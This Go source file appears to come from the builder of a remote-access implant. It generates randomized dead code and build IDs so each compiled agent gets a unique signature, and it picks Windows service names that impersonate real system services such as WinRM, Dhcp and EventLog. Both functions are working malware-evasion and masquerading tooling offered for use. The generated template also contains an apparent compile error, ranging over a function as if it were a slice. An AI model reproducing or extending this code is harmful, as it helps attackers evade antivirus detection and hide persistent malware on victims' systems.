package builder

import (
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"hash/fnv"
	mrand "math/rand"
	"os"
	"path/filepath"
	"strings"
)

// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
	if seed == "" {
		b := make([]byte, 16)
		_, _ = rand.Read(b)
		seed = hex.EncodeToString(b)
	}

	h := fnv.New64a()
	_, _ = h.Write([]byte(seed))
	rng := mrand.New(mrand.NewSource(int64(h.Sum64())))

	buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
	nonce := hex.EncodeToString(randomBytes(rng, 12))

	funcCount := 6 + rng.Intn(8)
	var funcDefs strings.Builder
	var funcNames []string
	for i := 0; i < funcCount; i++ {
		name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
		funcNames = append(funcNames, name)
		funcDefs.WriteString(generateDeadFunc(name, rng))
	}

	strCount := 24 + rng.Intn(32)
	var strLines strings.Builder
	for i := 0; i < strCount; i++ {
		s := randomString(rng, 16+rng.Intn(48))
		strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
	}

	var tableEntries strings.Builder
	for _, n := range funcNames {
		tableEntries.WriteString("\t\t" + n + ",\n")
	}

	content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
// Build seed: %s

package polymorph

import (
	"crypto/md5"
	"encoding/hex"
)

const buildNonce = %q

var decoyStrings = []string{
%s}

var buildMarker = %q

func init() {
	_ = initDecoys()
}

func initDecoys() int {
	sum := 0
	for _, fn := range deadFuncTable {
		sum += fn()
	}
	if len(decoyStrings) > 0 {
		h := md5.Sum([]byte(buildMarker + buildNonce))
		sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
	}
	_ = hex.EncodeToString([]byte(buildNonce))
	return sum
}

func deadFuncTable() []func() int {
	return []func() int{
%s	}
}

%s
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())

	dir := filepath.Join(agentDir, "polymorph")
	if err := os.MkdirAll(dir, 0755); err != nil {
		return "", err
	}
	if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
		return "", err
	}

	extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
	return extraLdflags, nil
}

func generateDeadFunc(name string, rng *mrand.Rand) string {
	ops := 4 + rng.Intn(6)
	var b strings.Builder
	b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
	for i := 0; i < ops; i++ {
		switch rng.Intn(4) {
		case 0:
			b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
		case 1:
			b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
		case 2:
			b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
		default:
			b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
		}
	}
	b.WriteString("\treturn x & 0xffff\n}\n\n")
	return b.String()
}

func randomBytes(rng *mrand.Rand, n int) []byte {
	b := make([]byte, n)
	for i := range b {
		b[i] = byte(rng.Intn(256))
	}
	return b
}

func randomIdent(rng *mrand.Rand, n int) string {
	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
	out := make([]byte, n)
	for i := range out {
		out[i] = chars[rng.Intn(len(chars))]
	}
	return string(out)
}

func randomString(rng *mrand.Rand, n int) string {
	const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
	out := make([]byte, n)
	for i := range out {
		out[i] = chars[rng.Intn(len(chars))]
	}
	return string(out)
}

func pickServiceMasquerade(seed string) (serviceName, donor string) {
	profiles := []struct{ name, donor string }{
		{"WinrmHostSvc", "WinRM"},
		{"WcmsvcWorker", "Wcmsvc"},
		{"DhcpMonitorHost", "Dhcp"},
		{"DnscacheSync", "Dnscache"},
		{"EventLogFwd", "EventLog"},
		{"LanmanWorkstationMgr", "LanmanWorkstation"},
		{"RpcEptMapperHost", "RpcEptMapper"},
		{"ScheduleHostSvc", "Schedule"},
		{"ShellHWDetectionMon", "ShellHWDetection"},
		{"TrkWksHost", "TrkWks"},
	}
	h := fnv.New32a()
	_, _ = h.Write([]byte(seed))
	idx := int(h.Sum32()) % len(profiles)
	if idx < 0 {
		idx = -idx
	}
	p := profiles[idx]
	return p.name, p.donor
}